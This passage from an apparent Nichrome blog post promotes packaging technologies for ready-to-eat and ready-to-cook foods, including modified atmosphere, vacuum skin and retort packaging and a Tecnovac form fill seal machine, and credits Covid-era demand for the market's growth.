Nichrome understands that RTE foods need long shelf life to stay stable and fresh until they reach the consumer&#8217;s table. It is also important that the foods retain their taste, quality and safety for days after manufacturing, and that the product is protected against contamination during transportation or storage.<\/p>\n\n\n\n<p>Nichrome stays abreast with the latest technologies for <strong>ready to eat food packaging<\/strong> and <strong>ready to cook food packaging<\/strong>, providing <strong>automated packaging solutions<\/strong> for <strong>MAP<\/strong> (modified atmosphere packaging), VSP (vacuum skin packaging), and Retort packaging wherein cooked food gets a shelf life of up to 18 months without the need for refrigeration or preservatives.<\/p>\n\n\n\n<p>Nichrome also offers Athena, a <strong><a href=\"https:\/\/www.nichrome.com\/machines\/hffs-machines\/index.php#packaging-machines\">horizontal\nform fill seal machine<\/a><\/strong> from\nTecnovac, Italy ensures the products stay safe and hygienic till they reach the\nconsumer&#8217;s table.The machine is able to seal, pack in a protective atmosphere\n(vacuum + gas) or with &#8220;Skin effect&#8221; all types of trays or jars,\nensuring that the food does not spoil for at least 72 hours.The modified\natmosphere packaging (MAP) machine extracts oxygen&amp;carbon dioxide from the air\nof the trays, synchronously filling them with nitrogen or mixed air, to minimise\ndeterioration of the foods.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclusion<\/strong><\/h2>\n\n\n\n<p>In the new normal of work-from-home and the growing emphasis on hygiene in these Covid times, the global demand for RTE and RTC foods is increasing exponentially.
